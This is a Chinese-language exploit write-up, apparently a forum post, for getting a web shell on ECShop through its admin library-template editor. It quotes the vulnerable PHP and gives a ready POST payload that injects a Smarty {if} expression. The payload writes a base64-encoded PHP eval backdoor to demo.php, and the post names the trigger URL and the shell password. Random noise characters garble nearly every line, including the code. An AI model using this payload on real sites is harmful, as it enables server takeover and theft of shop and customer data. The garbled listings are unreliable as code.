首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
% @( ^( [0 q- e8 d& L, G7 S k- w% ]) S, i! @, X9 L: j3 f6 M
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了+ `1 Z8 R0 G4 m
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码 K/ l! P$ q- E6 w
admin/template.php4 Z1 u/ N( H6 `
/ l1 ~* Z8 E: N( E7 U! l I& [
1 if ($_REQUEST['act'] == 'update_library')
# ^, v V/ S7 H1 E0 t3 L) f- G3 E6 W* _9 R1 ]; @
2 9 A T }: d+ B+ Y% L
1 }: n. V6 p' J. h1 L/ Z3 f, w
3 { 8 f2 s" N$ t2 [- H- d/ M6 L! S
( e: D, C ?& m5 R3 l% N$ [
4 check_authz_json('library_manage'); 8 r. b7 F/ {3 E; F% M
3 A+ {( o# k4 M( G* _
5 3 }9 T* L( p% [
( K" a% ]" q2 n! j
6 $html = stripslashes(json_str_iconv($_POST['html'])); 0 ?4 D/ K- i$ o! x' ^
6 ]( N% h( N* P& n7 , h! T5 V* h5 P5 w. c4 x* S
1 f' x# W; D% F" A$ I
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
/ p' g t% r: p
6 ]; F1 m3 O# b/ f( j9
1 E w" E7 W) U0 Y7 ~# x. ^; K; ]' b) p! c6 t6 ~
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 ! s" S3 F: O' z4 O
* h: V/ M; T2 ]: m- {+ K' I4 ]1 C* @
11 # Z$ k( r" D0 D5 H& E! J
( x1 Y6 h- S2 @' a9 b12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); $ G n1 F1 N% N" d8 z* h5 n
" l* N5 R& s8 k) b' }0 F13 ' f" R$ z' g! W |- e
+ V2 J. K! @; }* j$ P$ Q9 k
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
- ^- X& l' I7 `: z% M( \0 h$ U( P5 u) D5 ~4 @
15 {
( d3 j. Y4 @) y
9 M k0 k. g, o+ E16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
1 z: E* t8 j% N1 W# c, Q7 C
& ? D' W5 G, m- A) Q. |4 p17 make_json_result('', $_LANG['update_lib_success']);
% r( i. R9 i9 m/ p
5 D0 F' V+ ~' `18 }
7 N7 s- [9 ?# P
: N7 d8 I$ Y! W19 else
( l+ L) n% ]2 F+ g% S! h! N! x
" R5 _/ b) W$ X! J# f" k8 L20 { 9 W4 t8 u+ g! x; S( h
. C% i% v+ n. A' p21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); " y6 E: H9 `$ {% K" @( b' ?' ~
! o! W2 W" y% A5 n) H5 V6 Z) s5 u
22 }
$ F1 F! s0 W V0 I6 ^. N; J" L Q; h1 \; ~! y! B3 `
23 } / a1 x4 I5 `8 m; n
. i& T" q7 D( \3 w8 E0 X8 d那么找个比较方便调用了模板的文件: P7 p( v4 x0 v; e4 c' X
index.php
' D# a4 }2 N% L- L2 v+ A, l: v& f" f0 q2 y7 R
1 if ($act == 'cat_rec')
' z4 L' z$ T: K; G' H4 F _! b
! L; F0 _3 M! ]# t3 Q4 [7 n* C6 g4 {2
; ~8 X/ ~8 G. D6 ?$ _9 \7 q9 q
4 E' J* U9 R w* I. c3 {
% @1 P: h1 N5 |- u
' n. F' T. T* t' z; ]0 q# j4
! S+ q1 ~, V! e
7 x0 z8 @8 U+ S4 L" D6 y5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
- C7 H( h* Z. e* t9 ~9 ]2 G9 g1 B* c/ H* k& L* x# o! i' F
6 8 b7 R- c% N6 U3 \) ]0 M1 x
7 h- f$ W, X( T( N$ J7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; ) e9 @$ E) Q5 o2 g2 o
+ e/ ~) N$ I1 S4 p% d" q: z o
8 " h' z5 N/ o& d
& ]9 ~3 c& U2 \9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 7 f; T1 z5 D+ O" d; c5 m; r
3 C' R! U0 [8 @: X% P( `* f
10
) L; |& a/ C9 S# a/ {+ \9 {& I/ X6 F& n3 v8 C: l! o
11 include_once('includes/cls_json.php');
$ v+ e3 n+ T) Z5 t2 W( _& \* V
; n2 ^- l; B0 L12 7 q& F3 y0 R% _( x; X( I
) P2 P3 ?" F% _7 N( r% d' a13 $json = new JSON;
1 B" s: @# S' d7 |
4 S1 m0 c9 ?- o& l3 `) J$ ]14 ! R7 e1 V0 ?2 I) j- \
6 e' Q$ \; ~# F* D
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); ) _- D& z* x9 X$ j) `7 v
( O' S5 Z. @- C( l; e5 }4 y8 T
16
% l- r' k8 G [4 \( v& P% j, j$ ~; I0 n+ V* n$ J/ `1 A; N
17 $children = get_children($cat_id); ) Q' g0 @) r& D6 M
4 S7 x9 @0 T+ I- j9 r: u) R18
# ]2 q3 p# W- Y) J4 I
; p5 n( v" E6 d; F: k0 D( i8 ?19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
# h9 m! {) g+ f$ |8 Z/ A* R& u. c X' j. f( K @4 p8 d
20 - f1 v; e R9 k' r
" A& s: z3 Y2 [* u/ M/ c
21 $smarty->assign('cat_rec_sign', 1); * Z' S6 ?. U k. f7 Q( k- F* u) ^2 g+ v# t
7 Z! t% B1 A2 g4 t1 m
22
}" p+ t3 ^; S7 j4 L0 A: O7 f) F2 B. c& B6 ^1 Y, ~" W
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 2 P, {$ p0 ~& N
, P( E- w, Z2 ?1 B9 u7 x
24
7 ~6 s& ` u. a3 o
" o1 g/ S& k0 |$ R25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 2 b& Y! H4 |8 F& f
# J! ?# O" X" I/ M2 g
26 5 v4 Z6 b% x' v6 @& {: ?2 J
' u1 S* g3 U) t# h1 G2 P27 echo $rec_array[$rec_type];
~, j( C* R: v, T H- k( y! {- j% y
28
5 {3 s2 d& Z5 P$ i8 B, ? ?7 s
# Y3 w K6 e/ S# A' \+ m5 N/ r29 die($json->encode($result)); 6 u: k* H$ I' t/ E0 @
' V% u! x& r1 B& @; h
30 2 n; V' ?. ^9 G0 k
/ R% C5 X: A3 [5 p/ F31 }
5 {+ E3 U# @' P5 |" M, L$ g. T, l" c
2 w' y B3 d+ y5 Y那么就有利用方法了- q# h! v5 z& u- k& J' R" V
post包到http://localhost/ec/admin/template.php?act=update_library! g4 T9 j8 B3 v! h1 j& m& P3 s% ^
Post内容:
. ?* s& |: q# G% L! ~7 [2 [/ c& X% _3 `
8 m: u2 Q( l$ i' `& t1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
2 k) R) O( C" w e- F- _4 b3 K3 Z: I" y1 w3 W
然后访问http://localhost/ec/index.php?act=cat_rec( }# ?- r8 U! x9 ^ k" B! Q, g
8 K: O; Q" l! |5 m+ x, E
shel地址:http://localhost/ec/demo.php* R6 |7 M& V* [ N8 }3 S0 `
密码c* D7 {5 a8 ~5 L4 W2 w5 j' t3 `
6 Z" N1 ]. z! t+ q% k3 Y& ~$ h1 W |